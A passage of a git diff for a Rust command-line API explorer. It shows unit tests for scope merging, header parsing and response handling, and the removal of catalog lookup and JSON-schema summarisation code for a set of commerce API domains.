crate::api_explorer::catalog::{catalog, find_endpoint}; + + fn v(items: &[&str]) -> Vec { + items.iter().map(|s| (*s).to_owned()).collect() + } + + #[test] + fn merge_flags_only_when_no_endpoint_scopes() { + assert_eq!(merge_required_scopes(v(&["a", "b"]), &[]), v(&["a", "b"])); + } + + #[test] + fn merge_endpoint_only_when_no_flags() { + assert_eq!( + merge_required_scopes(v(&[]), &v(&["x", "y"])), + v(&["x", "y"]) + ); + } + + #[test] + fn merge_unions_and_dedupes_flags_first() { + assert_eq!( + merge_required_scopes(v(&["a", "b"]), &v(&["b", "c"])), + v(&["a", "b", "c"]) + ); + } + + #[test] + fn merge_dedupes_repeated_flag_values() { + assert_eq!( + merge_required_scopes(v(&["a", "a", "b"]), &v(&["b"])), + v(&["a", "b"]) + ); + } + + /// The commerce endpoint's catalog scope is included alongside an explicit + /// scope. `call_command` sends this exact list to + /// `credential_with_scopes` before it builds the HTTP request, so the PKCE + /// provider can perform OAuth step-up before an API 403. + #[test] + fn commerce_catalog_scope_is_merged_with_an_explicit_scope() { + let (_, endpoint) = find_endpoint(catalog(), "/v1/commerce/stores/{storeId}/orders") + .expect("orders endpoint exists in the embedded catalog"); + assert_eq!( + merge_required_scopes(v(&["commerce.order:write"]), &endpoint.scopes), + v(&["commerce.order:write", "commerce.order:read"]), + ); + } + + #[test] + fn split_header_trims_and_splits_on_first_colon() { + assert_eq!( + split_header("x-store-id: abc-123"), + Some(("x-store-id", "abc-123")) + ); + // Value may contain colons (e.g. a URL) — only the first colon splits. + assert_eq!( + split_header("Location: https://x/y"), + Some(("Location", "https://x/y")) + ); + assert_eq!(split_header("no-colon"), None); + } + + #[test] + fn parse_response_body_json_text_and_empty() { + assert_eq!(parse_response_body(b"{\"a\":1}"), json!({"a":1})); + // Non-JSON is preserved as text, not dropped to null. + assert_eq!(parse_response_body(b"plain text"), json!("plain text")); + // Empty body is null. + assert_eq!(parse_response_body(b""), serde_json::Value::Null); + } + + #[test] + fn graphql_errors_detects_nonempty_array_only() { + assert!(graphql_errors(&json!({"data": null, "errors": [{"message": "x"}]})).is_some()); + assert!(graphql_errors(&json!({"data": {}, "errors": []})).is_none()); + assert!(graphql_errors(&json!({"data": {}})).is_none()); + } + + #[test] + fn is_mutating_method_treats_only_get_and_head_as_safe() { + assert!(!is_mutating_method("GET")); + assert!(!is_mutating_method("get")); + assert!(!is_mutating_method("HEAD")); + assert!(is_mutating_method("POST")); + assert!(is_mutating_method("PUT")); + assert!(is_mutating_method("PATCH")); + assert!(is_mutating_method("DELETE")); + } +} diff --git a/rust/src/api_explorer/mod.rs b/rust/src/api_explorer/mod.rs index 9e97779..d3938e8 100644 --- a/rust/src/api_explorer/mod.rs +++ b/rust/src/api_explorer/mod.rs @@ -1,1194 +1,19 @@ -use std::sync::OnceLock; - -use cli_engine::{ - CliCoreError, CommandResult, CommandSpec, GroupSpec, Module, NextActionParam, PaginationConfig, - RuntimeCommandSpec, RuntimeGroupSpec, TableColumn, Tier, -}; -use serde::{Deserialize, Serialize}; -use serde_json::{Map, Value, json}; - -use crate::next_action::{next_action, required_value}; -use crate::output_schema::output_schema; -use crate::summary::Summary; - -output_schema!(ApiDomain { - "domain": "string"; - "title": "string"; - "description": "string", optional; - "endpoints": "number"; - "baseUrl": "string"; -}); - -output_schema!(ApiEndpoint { - "domain": "string"; - "operationId": "string"; - "method": "string"; - "path": "string"; - "summary": "string", optional; - "scopes": "[]string"; - "graphqlOperations": "number", optional; -}); - -// `api operation list --domain X` lists endpoints within one domain, so each row -// omits the (redundant) domain field that the cross-domain `api search` emits. -output_schema!(ApiDomainEndpoint { - "operationId": "string"; - "method": "string"; - "path": "string"; - "summary": "string", optional; - "scopes": "[]string"; - "graphqlOperations": "number", optional; -}); - -output_schema!(ApiOperation { - "domain": "string"; - "baseUrl": "string"; - "operationId": "string"; - "method": "string"; - "path": "string"; - "fullPath": "string"; - "summary": "string", optional; - "description": "string", optional; - "parameters": "object"; - "responses": "object"; - "scopes": "[]string"; - "graphql": "object", optional; - "message": "string", optional; - "matches": "[]object", optional; -}); - -// --------------------------------------------------------------------------- -// Catalog types -// --------------------------------------------------------------------------- - -#[derive(Debug, Deserialize)] -struct Domain { - name: String, - title: String, - description: String, - #[serde(rename = "baseUrl")] - base_url: String, - endpoints: Vec, - /// Local JSON-schema definitions (`$defs`) that a `requestBody`/response - /// schema's `$ref` may point at, e.g. `{"$ref": "#/$defs/Business"}`. - /// Most catalog request bodies are a bare `$ref` with no inline - /// `properties`, so resolving these is required for schema - /// summarization to say anything useful about them. - #[serde(rename = "$defs", default)] - defs: Map, -} - -#[derive(Debug, Deserialize)] -struct Endpoint { - #[serde(rename = "operationId")] - operation_id: String, - method: String, - path: String, - summary: String, - #[serde(default)] - description: String, - #[serde(default)] - parameters: Vec, - #[serde(rename = "requestBody", default)] - request_body: Option, - #[serde(default)] - responses: Value, - #[serde(default)] - scopes: Vec, - #[serde(default)] - graphql: Option, -} - -#[derive(Debug, Deserialize)] -struct GraphqlArgument { - name: String, - #[serde(rename = "type")] - arg_type: String, - required: bool, - #[serde(default, rename = "defaultValue")] - default_value: Option, -} - -#[derive(Debug, Deserialize)] -struct GraphqlOperation { - name: String, - kind: String, - #[serde(rename = "returnType")] - return_type: String, - #[serde(default)] - deprecated: bool, - #[serde(default, rename = "deprecationReason")] - deprecation_reason: Option, - #[serde(default)] - args: Vec, -} - -#[derive(Debug, Deserialize)] -struct GraphqlSchema { - #[serde(rename = "schemaRef")] - schema_ref: String, - #[serde(rename = "operationCount")] - operation_count: usize, - operations: Vec, -} - -// --------------------------------------------------------------------------- -// Static catalog — parsed once from embedded JSON -// --------------------------------------------------------------------------- - -static CATALOG: OnceLock> = OnceLock::new(); - -const DOMAIN_FILES: &[(&str, &str)] = &[ - ( - "bulk-operations", - include_str!("../../schemas/api/bulk-operations.json"), - ), - ( - "businesses", - include_str!("../../schemas/api/businesses.json"), - ), - ( - "catalog-products", - include_str!("../../schemas/api/catalog-products.json"), - ), - ("channels", include_str!("../../schemas/api/channels.json")), - ( - "chargebacks", - include_str!("../../schemas/api/chargebacks.json"), - ), - ( - "customer-profiles", - include_str!("../../schemas/api/customer-profiles.json"), - ), - ( - "fulfillments", - include_str!("../../schemas/api/fulfillments.json"), - ), - ( - "location-addresses", - include_str!("../../schemas/api/location-addresses.json"), - ), - ( - "metafields", - include_str!("../../schemas/api/metafields.json"), - ), - ( - "onboarding", - include_str!("../../schemas/api/onboarding.json"), - ), - ("orders", include_str!("../../schemas/api/orders.json")), - ( - "payment-requests", - include_str!("../../schemas/api/payment-requests.json"), - ), - ("payments", include_str!("../../schemas/api/payments.json")), - ( - "price-adjustments", - include_str!("../../schemas/api/price-adjustments.json"), - ), - ( - "recommendations", - include_str!("../../schemas/api/recommendations.json"), - ), - ("shipping", include_str!("../../schemas/api/shipping.json")), - ("stores", include_str!("../../schemas/api/stores.json")), - ( - "subscriptions", - include_str!("../../schemas/api/subscriptions.json"), - ), - ("taxes", include_str!("../../schemas/api/taxes.json")), - ( - "transactions", - include_str!("../../schemas/api/transactions.json"), - ), - ( - "hosting-nodejs", - include_str!("../../schemas/api/hosting-nodejs.json"), - ), - ("domains", include_str!("../../schemas/api/domains.json")), -]; - -fn catalog() -> &'static [Domain] { - CATALOG.get_or_init(|| { - let mut domains: Vec = DOMAIN_FILES - .iter() - .filter_map(|(_, src)| serde_json::from_str::(src).ok()) - .collect(); - // Sorted once here (not per-listing) so every consumer — `api domain - // list`, `api search`, `api operation get` — sees the same stable order. - domains.sort_by(|a, b| a.name.cmp(&b.name)); - domains - }) -} - -/// True if `concrete`'s path segments structurally match `template`'s: a -/// `{param}` segment in `template` matches any single non-empty segment in -/// `concrete` at the same position, every other segment must match -/// literally (case-insensitive). Matches a real request path with path -/// params substituted (e.g. `/stores/abc123/orders`) against the catalog's -/// templated path (`/stores/{storeId}/orders`), which neither exact nor -/// substring matching can do — a concrete path never literally contains the -/// `{storeId}` placeholder. -fn path_matches_template(template: &str, concrete: &str) -> bool { - let template_segs: Vec<&str> = template.trim_matches('/').split('/').collect(); - let concrete_segs: Vec<&str> = concrete.trim_matches('/').split('/').collect(); - template_segs.len() == concrete_segs.len() - && template_segs - .iter() - .zip(concrete_segs.iter()) - .all(|(t, c)| { - (t.starts_with('{') && t.ends_with('}') && !c.is_empty()) - || t.eq_ignore_ascii_case(c) - }) -} - -fn find_endpoint<'a>(catalog: &'a [Domain], query: &str) -> Option<(&'a Domain, &'a Endpoint)> { - let q = query.to_lowercase(); - catalog.iter().find_map(|domain| { - domain.endpoints.iter().find_map(|ep| { - if ep.operation_id.to_lowercase() == q - || ep.path.to_lowercase() == q - || path_matches_template(&ep.path, query) - || ep.path.to_lowercase().contains(&q) - { - Some((domain, ep)) - } else { - None - } - }) - }) -} - -/// Exact (non-fuzzy) endpoint lookup by operationId, full path equality, or -/// a concrete path against a templated catalog path (e.g. `/stores/abc123` -/// against `/stores/{storeId}`), optionally narrowed to a specific HTTP -/// method. Used by `api operation get`'s primary resolution step, distinct from -/// `find_endpoint`'s looser substring-`contains` match (which `api call` -/// still relies on for scope resolution and is left untouched). -/// -/// Returns every match, not just the first: many catalog paths are shared by -/// several endpoints that only differ by method (e.g. `GET`/`POST` on the -/// same collection endpoint), so without `--method` there can genuinely be -/// more than one exact match — the caller decides what to do with that -/// (typically: 1 match resolves transparently, >1 is treated the same as an -/// ambiguous fuzzy match). -fn find_endpoint_exact<'a>( - catalog: &'a [Domain], - query: &str, - method: Option<&str>, -) -> Vec<(&'a Domain, &'a Endpoint)> { - let q = query.to_lowercase(); - catalog - .iter() - .flat_map(|domain| { - let q = q.clone(); - domain.endpoints.iter().filter_map(move |ep| { - let path_matches = ep.operation_id.to_lowercase() == q - || ep.path.to_lowercase() == q - || path_matches_template(&ep.path, query); - let method_matches = method.is_none_or(|m| ep.method.eq_ignore_ascii_case(m)); - (path_matches && method_matches).then_some((domain, ep)) - }) - }) - .collect() -} - -/// Builds an "ambiguous match" error for `resolve_operation`'s two >1-hit -/// branches — an exact path shared by several HTTP methods, or a fuzzy -/// query hitting several unrelated endpoints. Every candidate is formatted -/// as a runnable `gddy api operation get --method ` line and -/// joined into the error's `fix` field: cli-engine's error envelope has no -/// hook today for a `DetailedError` to attach structured `next_actions` -/// (`build_error_envelope` always sets `next_actions: Vec::new()`), so a -/// formatted `fix` string is the richest thing available until that's -/// closed upstream (filed as a follow-up ticket, matching DEVEX-968/972/981 -/// this session). -fn ambiguous_operation_error(query: &str, hits: &[(&Domain, &Endpoint)]) -> CliCoreError { - let candidates = hits - .iter() - .map(|(_, ep)| { - format!( - "gddy api operation get {} --method {} # {}", - ep.path, ep.method, ep.summary - ) - }) - .collect::>() - .join("\n "); - crate::error::GddyError::ambiguous(format!( - "'{query}' matches {} operations. Be more specific:", - hits.len() - )) - .with_fix(format!("Run one of:\n {candidates}")) - .into_cli_error() -} - -/// Resolves a `--operation`/positional operation query against the catalog -/// — shared by `operation get` and every command scoped by `--operation` -/// (`parameter`/`response` list and get, `schema get`), since they all need -/// the same exact/fuzzy/ambiguous cascade `operation_get_command` already -/// implemented before this existed. Both "no match" and "more than one -/// match" are errors — there's no single operation to act on either way. -fn resolve_operation<'a>( - catalog: &'a [Domain], - query: &str, - method_filter: Option<&str>, -) -> Result<(&'a Domain, &'a Endpoint), CliCoreError> { - let exact_hits = find_endpoint_exact(catalog, query, method_filter); - match exact_hits.len() { - 1 => Ok((exact_hits[0].0, exact_hits[0].1)), - 0 => { - let hits = search_endpoints(catalog, query); - match hits.len() { - 0 => Err(crate::error::GddyError::not_found(format!( - "no operation found matching '{query}' — try `gddy api search {query}`" - )) - .with_fix(format!( - "Run: gddy api search {query} or gddy api domain list" - )) - .into_cli_error()), - 1 => Ok((hits[0].0, hits[0].1)), - _ => Err(ambiguous_operation_error(query, &hits)), - } - } - _ => Err(ambiguous_operation_error(query, &exact_hits)), - } -} - -/// Split a `--header` value of the form `KEY:VALUE` into trimmed parts. -/// Splits on the first colon only, so values may themselves contain colons -/// (e.g. a URL). Returns None when there is no colon. -fn split_header(raw: &str) -> Option<(&str, &str)> { - raw.split_once(':').map(|(k, v)| (k.trim(), v.trim())) -} - -/// Whether an HTTP method mutates server state, for `--dry-run` gating. -/// `call`'s tier is fixed at spec-build time, but the method is a runtime -/// arg — this decides per-invocation whether `--dry-run` should actually -/// short-circuit the request. Case-insensitive. -fn is_mutating_method(method: &str) -> bool { - !(method.eq_ignore_ascii_case("GET") || method.eq_ignore_ascii_case("HEAD")) -} - -/// Parse a response body as JSON when possible, otherwise preserve it as raw -/// UTF-8 text. A non-JSON body (plain text / HTML error page) must not be -/// silently dropped to `null` — only a truly empty or binary body becomes null. -fn parse_response_body(bytes: &[u8]) -> Value { - match serde_json::from_slice::(bytes) { - Ok(v) => v, - Err(_) => match std::str::from_utf8(bytes) { - Ok(s) if !s.is_empty() => json!(s), - _ => Value::Null, - }, - } -} - -/// A non-empty top-level GraphQL `errors` array, if present. GraphQL endpoints -/// return HTTP 200 even on failure and carry the failure here. -fn graphql_errors(body: &Value) -> Option<&Vec> { - body.get("errors") - .and_then(|e| e.as_array()) - .filter(|a| !a.is_empty()) -} - -/// Union of user-supplied `--scope` flags and a matched endpoint's declared -/// scopes, order-preserving and de-duplicated (flags first). -fn merge_required_scopes(flag_scopes: Vec, endpoint_scopes: &[String]) -> Vec { - let mut required: Vec = Vec::new(); - // De-dup across both sources (a user can repeat `--scope`), flags first. - for scope in flag_scopes - .into_iter() - .chain(endpoint_scopes.iter().cloned()) - { - if !required.contains(&scope) { - required.push(scope); - } - } - required -} - -fn search_endpoints<'a>(catalog: &'a [Domain], query: &str) -> Vec<(&'a Domain, &'a Endpoint)> { - let q = query.to_lowercase(); - catalog - .iter() - .flat_map(|domain| { - let q = q.clone(); - domain.endpoints.iter().filter_map(move |ep| { - let haystack = format!( - "{} {} {} {}", - ep.operation_id.to_lowercase(), - ep.path.to_lowercase(), - ep.summary.to_lowercase(), - ep.description.to_lowercase(), - ); - // Only scan GraphQL operations (up to 149 on some domains) - // when the core fields didn't already match, and stop at the - // first hit instead of concatenating every operation into one - // string up front. - let matches = haystack.contains(&q) - || ep.graphql.as_ref().is_some_and(|g| { - g.operations.iter().any(|op| { - format!("{} {}", op.kind, op.name) - .to_lowercase() - .contains(&q) - }) - }); - if matches { Some((domain, ep)) } else { None } - }) - }) - .collect() -} - -// --------------------------------------------------------------------------- -// Schema summarization — condenses a raw JSON-schema fragment down to -// top-level property names/types for `api operation get`, so a caller sees a -// scannable summary instead of a full nested schema dump. Ported from the -// original TypeScript CLI's `summarizeSchema`/`schemaTypeLabel` family. -// --------------------------------------------------------------------------- - -#[derive(Debug, Clone, Serialize)] -struct SchemaSummaryProperty { - name: String, - #[serde(rename = "type")] - prop_type: String, - required: bool, - #[serde(skip_serializing_if = "Option::is_none")] - description: Option, - #[serde(skip_serializing_if = "Option::is_none")] - format: Option, - #[serde(rename = "enum", skip_serializing_if = "Option::is_none")] - enum_values: Option>, - #[serde(skip_serializing_if = "Option::is_none")] - items: Option, -} - -/// Max `$ref` hops to follow when resolving a schema fragment against a -/// domain's `$defs` — bounds a def-to-def cycle (e.g. A refers to B refers -/// back to A) rather than looping forever. -const MAX_REF_DEPTH: u8 = 5; - -/// Follows a `{"$ref": "#/$defs/Name"}` pointer against `defs`, transparently -/// substituting the referenced schema, up to `MAX_REF_DEPTH` hops (a def can -/// itself be a `$ref` to another def). Returns `schema` unchanged if it -/// isn't a `$ref`, or the last-resolved schema if the chain doesn't resolve -/// (unknown def name, external non-`#/$defs/` ref, or depth exceeded) — -/// callers fall back to rendering that as an unresolved `ref(...)`. -fn resolve_schema_ref<'a>(schema: &'a Value, defs: &'a Map) -> &'a Value { - let mut current = schema; - for _ in 0..MAX_REF_DEPTH { - let Some(key) = current - .get("$ref") - .and_then(Value::as_str) - .and_then(|r| r.strip_prefix("#/$defs/")) - else { - break; - }; - let Some(resolved) = defs.get(key) else { - break; - }; - current = resolved; - } - current -} - -/// A short human-readable label for a JSON-schema fragment, e.g. -/// `array`, `enum(a|b|c)`, `string(uuid)`. Resolves -/// `$ref`s against `defs` first, so a referenced schema is described the -/// same as if it were inlined. -fn schema_type_label(schema: &Value, defs: &Map) -> String { - let schema = resolve_schema_ref(schema, defs); - let Some(obj) = schema.as_object() else { - return "unknown".to_owned(); - }; - if let Some(type_str) = obj.get("type").and_then(Value::as_str) { - if type_str == "array" - && let Some(items) = obj.get("items") - { - return format!("array<{}>", schema_type_label(items, defs)); - } - if type_str == "object" - && let Some(props) = obj.get("properties").and_then(Value::as_object) - { - let names: Vec<&str> = props.keys().map(String::as_str).collect(); - return format!("object{{{}}}", names.join(", ")); - } - return match obj.get("format").and_then(Value::as_str) { - Some(format) => format!("{type_str}({format})"), - None => type_str.to_owned(), - }; - } - if let Some(enum_vals) = obj.get("enum").and_then(Value::as_array) { - let vals: Vec = enum_vals.iter().map(json_value_to_label).collect(); - return format!("enum({})", vals.join("|")); - } - if obj.get("oneOf").and_then(Value::as_array).is_some() { - return "oneOf".to_owned(); - } - if obj.get("anyOf").and_then(Value::as_array).is_some() { - return "anyOf".to_owned(); - } - if obj.get("allOf").and_then(Value::as_array).is_some() { - return "allOf".to_owned(); - } - // Only reached for a $ref that resolve_schema_ref couldn't follow - // (unknown def, external ref, or a chain deeper than MAX_REF_DEPTH). - if let Some(reference) = obj.get("$ref").and_then(Value::as_str) { - return format!("ref({reference})"); - } - "object".to_owned() -} - -/// The same fallback chain as `schema_type_label`, but never recurses into -/// array items or lists an object's property names — just the bare kind -/// (`"object"`, `"array"`, `"string"`, ...). Used for a schema that already -/// has a `schemaId` pointing at its full nested detail via `api schema -/// get`: repeating that detail here too would be redundant, and for an -/// object with many properties, unbounded. -fn schema_base_type_label(schema: &Value, defs: &Map) -> String { - let schema = resolve_schema_ref(schema, defs); - let Some(obj) = schema.as_object() else { - return "unknown".to_owned(); - }; - if let Some(type_str) = obj.get("type").and_then(Value::as_str) { - return type_str.to_owned(); - } - if obj.get("enum").and_then(Value::as_array).is_some() { - return "enum".to_owned(); - } - if obj.get("oneOf").and_then(Value::as_array).is_some() { - return "oneOf".to_owned(); - } - if obj.get("anyOf").and_then(Value::as_array).is_some() { - return "anyOf".to_owned(); - } - if obj.get("allOf").and_then(Value::as_array).is_some() { - return "allOf".to_owned(); - } - if let Some(reference) = obj.get("$ref").and_then(Value::as_str) { - return format!("ref({reference})"); - } - "object".to_owned() -} - -/// Mimics JS `Array.prototype.join`'s implicit `String(value)` coercion for -/// the handful of JSON value kinds an enum entry can be. -fn json_value_to_label(v: &Value) -> String { - match v { - Value::String(s) => s.clone(), - Value::Null => String::new(), - Value::Bool(b) => b.to_string(), - Value::Number(n) => n.to_string(), - other => other.to_string(), - } -} - -fn summarize_schema( - schema: Option<&Value>, - defs: &Map, -) -> Option> { - let schema = resolve_schema_ref(schema?, defs); - let obj = schema.as_object()?; - let Some(properties) = obj.get("properties").and_then(Value::as_object) else { - if obj.contains_key("type") || obj.contains_key("enum") { - return Some(vec![SchemaSummaryProperty { - name: "(value)".to_owned(), - prop_type: schema_type_label(schema, defs), - required: true, - description: None, - format: None, - enum_values: None, - items: None, - }]); - } - return None; - }; - let required: std::collections::HashSet<&str> = obj - .get("required") - .and_then(Value::as_array) - .map(|arr| arr.iter().filter_map(Value::as_str).collect()) - .unwrap_or_default(); - Some( - properties - .iter() - .map(|(name, prop)| { - let prop_obj = prop.as_object(); - // A property that's itself a bare `$ref` carries none of - // description/format/enum/items locally — fall back to the - // resolved def's, while still preferring a local value if - // the property overrides it (JSON Schema allows keywords - // alongside `$ref`). - let resolved_obj = resolve_schema_ref(prop, defs).as_object(); - let description = prop_obj - .and_then(|p| p.get("description")) - .or_else(|| resolved_obj.and_then(|p| p.get("description"))) - .and_then(Value::as_str) - .filter(|d| !d.is_empty()) - .map(str::to_owned); - let format = prop_obj - .and_then(|p| p.get("format")) - .or_else(|| resolved_obj.and_then(|p| p.get("format"))) - .and_then(Value::as_str) - .map(str::to_owned); - let enum_values = prop_obj - .and_then(|p| p.get("enum")) - .or_else(|| resolved_obj.and_then(|p| p.get("enum"))) - .and_then(Value::as_array) - .cloned(); - let items = resolved_obj - .filter(|p| p.get("type").and_then(Value::as_str) == Some("array")) - .and_then(|p| p.get("items")) - .filter(|v| v.is_object()) - .map(|items| schema_type_label(items, defs)); - SchemaSummaryProperty { - name: name.clone(), - prop_type: schema_type_label(prop, defs), - required: required.contains(name.as_str()), - description, - format, - enum_values, - items, - } - }) - .collect(), - ) -} - -// --------------------------------------------------------------------------- -// Full schema trees and their ids (DEVEX-967's `api schema get `). -// -// Unlike `summarize_schema` above, which stops at one level and collapses a -// nested object/array to a compact string via `schema_type_label`, -// `build_schema_tree` recurses through every level — `api schema get` never -// truncates (see `crate::summary::Summary`), so it always returns the -// complete tree. -// -// A schema's id is computed here at runtime, not minted by -// `generate-api-catalog`: a `$ref` schema already has a stable name (its -// existing `$defs` key), and an inline/anonymous schema's dotted path is a -// pure function of (operationId, where it sits in the operation), so -// there's nothing to persist ahead of time. -// --------------------------------------------------------------------------- - -/// Where a schema sits within an operation — used by `compute_schema_id` -/// when the schema has no `$ref` name of its own, and by `parse_schema_id` -/// to resolve an id back to a concrete schema. -#[allow(dead_code)] // wired in once the `schema`/`parameter`/`response` commands land -#[derive(Debug, Clone, PartialEq, Eq)] -enum SchemaLocation { - RequestBody, - Parameter(String), - Response(String), -} - -/// Reserved path segments in the dotted-id grammar. An operationId or -/// parameter name that literally equals one of these would break -/// `parse_schema_id`'s left-to-right keyword scan — verified against the -/// real embedded catalog by -/// `schema_id_grammar_has_no_collisions_in_the_real_catalog` below, but not -/// structurally prevented (see the design doc's open questions). -#[allow(dead_code)] // wired in once the `schema`/`parameter`/`response` commands land -const SCHEMA_ID_KEYWORDS: [&str; 3] = ["parameters", "responses", "requestBody"]; - -/// Computes a stable id for `schema`: its `$defs` key if it's a `$ref`, or a -/// dotted path rooted at `operation_id` if it's inline/anonymous. -#[allow(dead_code)] // wired in once the `schema`/`parameter`/`response` commands land -fn compute_schema_id(operation_id: &str, location: &SchemaLocation, schema: &Value) -> String { - if let Some(name) = schema - .get("$ref") - .and_then(Value::as_str) - .and_then(|r| r.strip_prefix("#/$defs/")) - { - return name.to_owned(); - } - match location { - SchemaLocation::RequestBody => format!("{operation_id}.requestBody.schema"), - SchemaLocation::Parameter(name) => format!("{operation_id}.parameters.{name}.schema"), - SchemaLocation::Response(status) => format!("{operation_id}.responses.{status}.schema"), - } -} - -/// A raw (pre-summarization) schema is a "bare inline scalar" — nothing -/// worth minting a schema id/next_action for — when it's neither a `$ref` -/// (which might resolve to something with real structure) nor an object -/// with declared `properties`. This mirrors `summarize_schema`'s own -/// `"(value)"`-placeholder branch exactly, so the two stay in lockstep: -/// whatever gets flattened to a single placeholder row there gets its type -/// surfaced directly here instead of a drill-down link that would just echo -/// the same type back (e.g. a plain `{"type": "string"}` path parameter). -fn scalar_schema_type(raw_schema: Option<&Value>, defs: &Map) -> Option { - let obj = raw_schema?.as_object()?; - if obj.contains_key("$ref") || obj.get("properties").and_then(Value::as_object).is_some() { - return None; - } - if !(obj.contains_key("type") || obj.contains_key("enum")) { - return None; - } - Some(schema_type_label(raw_schema?, defs)) -} - -/// What to show for `raw_schema` in a parameter/response row: the `type` -/// label to display, and whether it's worth minting a `schemaId` alongside -/// it. A bare inline scalar (see `scalar_schema_type`) gets its full type -/// label here since that label *is* the whole story — there's nothing else -/// to drill into. Anything else (a `$ref`, or an inline object with -/// declared `properties`) gets just the coarse base type (e.g. `"object"` -/// for `Shipment`) plus `drillable: true`, since the full detail is a -/// `schema get` away instead of being repeated inline. -fn describe_schema( - raw_schema: Option<&Value>, - defs: &Map, -) -> (Option, bool) { - let Some(raw) = raw_schema else { - return (None, false); - }; - match scalar_schema_type(Some(raw), defs) { - Some(full_label) => (Some(full_label), false), - None => (Some(schema_base_type_label(raw, defs)), true), - } -} - -/// Parses an id produced by `compute_schema_id`'s inline-path branch back -/// into `(operationId, location)`. Scans left-to-right for the first -/// segment matching a reserved keyword rather than assuming a fixed split -/// position, since real operationIds and parameter names can themselves -/// contain literal dots (e.g. `commerce.location.verify-address`, -/// `registeredStores.storeId`). -#[allow(dead_code)] // wired in once the `schema`/`parameter`/`response` commands land -fn parse_schema_id(id: &str) -> Option<(String, SchemaLocation)> { - let segments: Vec<&str> = id.split('.').collect(); - let keyword_idx = segments - .iter() - .position(|segment| SCHEMA_ID_KEYWORDS.contains(segment))?; - let operation_id = segments[..keyword_idx].join("."); - if operation_id.is_empty() { - return None; - } - let keyword = segments[keyword_idx]; - let (last, middle) = segments[keyword_idx + 1..].split_last()?; - if *last != "schema" { - return None; - } - match keyword { - "requestBody" if middle.is_empty() => Some((operation_id, SchemaLocation::RequestBody)), - "responses" if middle.len() == 1 => { - Some((operation_id, SchemaLocation::Response(middle[0].to_owned()))) - } - "parameters" if !middle.is_empty() => { - Some((operation_id, SchemaLocation::Parameter(middle.join(".")))) - } - _ => None, - } -} - -/// One node in a schema's full nested tree — see the module comment above. -#[allow(dead_code)] // wired in once the `schema` command lands -#[derive(Debug, Clone, Serialize)] -struct SchemaNode { - name: String, - #[serde(rename = "type")] - node_type: String, - required: bool, - #[serde(skip_serializing_if = "Option::is_none")] - description: Option, - #[serde(skip_serializing_if = "Option::is_none")] - format: Option, - #[serde(rename = "enum", skip_serializing_if = "Option::is_none")] - enum_values: Option>, - #[serde(skip_serializing_if = "Option::is_none")] - properties: Option>, - #[serde(skip_serializing_if = "Option::is_none")] - items: Option>, -} - -/// Recursively expands `schema` into a `SchemaNode` tree. Reuses -/// `resolve_schema_ref`/`MAX_REF_DEPTH` unchanged for `$ref`-cycle bounding -/// — that bound is orthogonal to how deep object/array nesting itself is -/// allowed to go, which is intentionally unbounded here. -#[allow(dead_code)] // wired in once the `schema` command lands -fn build_schema_tree(name: &str, schema: &Value, defs: &Map) -> SchemaNode { - let resolved = resolve_schema_ref(schema, defs); - let Some(obj) = resolved.as_object() else { - return SchemaNode { - name: name.to_owned(), - node_type: "unknown".to_owned(), - required: false, - description: None, - format: None, - enum_values: None, - properties: None, - items: None, - }; - }; - let description = obj - .get("description") - .and_then(Value::as_str) - .filter(|d| !d.is_empty()) - .map(str::to_owned); - let format = obj.get("format").and_then(Value::as_str).map(str::to_owned); - let enum_values = obj.get("enum").and_then(Value::as_array).cloned(); - - let Some(type_str) = obj.get("type").and_then(Value::as_str) else { - // No `type` key: oneOf/anyOf/allOf/enum-only/unresolved-ref — reuse - // the same fallback vocabulary `schema_type_label` already has for - // these, rather than duplicating it. - return SchemaNode { - name: name.to_owned(), - node_type: schema_type_label(resolved, defs), - required: false, - description, - format, - enum_values, - properties: None, - items: None, - }; - }; - - if type_str == "object" { - let required: std::collections::HashSet<&str> = obj - .get("required") - .and_then(Value::as_array) - .map(|arr| arr.iter().filter_map(Value::as_str).collect()) - .unwrap_or_default(); - let properties = obj - .get("properties") - .and_then(Value::as_object) - .map(|props| { - props - .iter() - .map(|(prop_name, prop_schema)| { - let mut node = build_schema_tree(prop_name, prop_schema, defs); - node.required = required.contains(prop_name.as_str()); - node - }) - .collect() - }); - return SchemaNode { - name: name.to_owned(), - node_type: "object".to_owned(), - required: false, - description, - format, - enum_values, - properties, - items: None, - }; - } - - if type_str == "array" { - let items = obj - .get("items") - .map(|items_schema| Box::new(build_schema_tree("(item)", items_schema, defs))); - return SchemaNode { - name: name.to_owned(), - node_type: "array".to_owned(), - required: false, - description, - format, - enum_values, - properties: None, - items, - }; - } - - SchemaNode { - name: name.to_owned(), - node_type: type_str.to_owned(), - required: false, - description, - format, - enum_values, - properties: None, - items: None, - } -} - -// --------------------------------------------------------------------------- -// `api parameter`/`api response` — first-class entities scoped by -// `--operation`, backing `api parameter list/get` and `api response -// list/get`. `api operation get` (below) summarizes the same rows for its -// own preview. -// --------------------------------------------------------------------------- - -/// Breadth cap on a parameter's/response's *embedded* schema preview — the -/// full, untruncated tree is always one `api schema get ` away (see -/// `build_schema_tree`), so this only bounds how much of it gets inlined -/// here. -const SCHEMA_PROPERTY_PREVIEW_CAP: usize = 20; - -/// Default page size for `api parameter list`/`api response list` (via -/// `CommandSpec::with_pagination`) when neither `--limit` nor `--offset` is -/// passed, and for `api operation get`'s own embedded parameter/response -/// previews (which aren't paginated themselves — see `Summary::capped` -/// there — but use the same "how many rows to show inline" size). -const OPERATION_CHILD_LIST_DEFAULT_LIMIT: usize = 20; - -/// Upper bound a user can request with `--limit` on `api parameter list`/ -/// `api response list`. Generous relative to the real catalog (26 -/// parameters, 11 responses is the current max of either), just to guard -/// against a client asking for something absurd. -const OPERATION_CHILD_LIST_MAX_LIMIT: i64 = 200; - -#[derive(Debug, Clone, Serialize)] -struct ParameterSummary { - name: String, - - #[serde(rename = "in")] - location: String, - - required: bool, - - #[serde(skip_serializing_if = "Option::is_none")] - description: Option, - - #[serde(skip_serializing_if = "Option::is_none")] - schema: Option>, - - /// Id for `api schema get`, present whenever this parameter's schema has - /// something to drill into — an object with properties, or a `$ref` - /// (which might resolve to one) — regardless of whether the embedded - /// preview above happens to be truncated, so a caller always knows what - /// shape a parameter (most importantly `body`) expects. `None` for a - /// bare inline scalar (see `scalar_type` below), where drilling in would - /// just echo the same type back. - #[serde(rename = "schemaId", skip_serializing_if = "Option::is_none")] - schema_id: Option, - - /// The type to show alongside `schema_id`/`schema`: the full label - /// (e.g. `"string(uuid)"`, `"array"`) when `schema_id` is - /// absent (a bare scalar — the label is the whole story), or just the - /// coarse base type (e.g. `"object"`) when `schema_id` *is* present, - /// since the full nested detail is a `schema get` away instead of being - 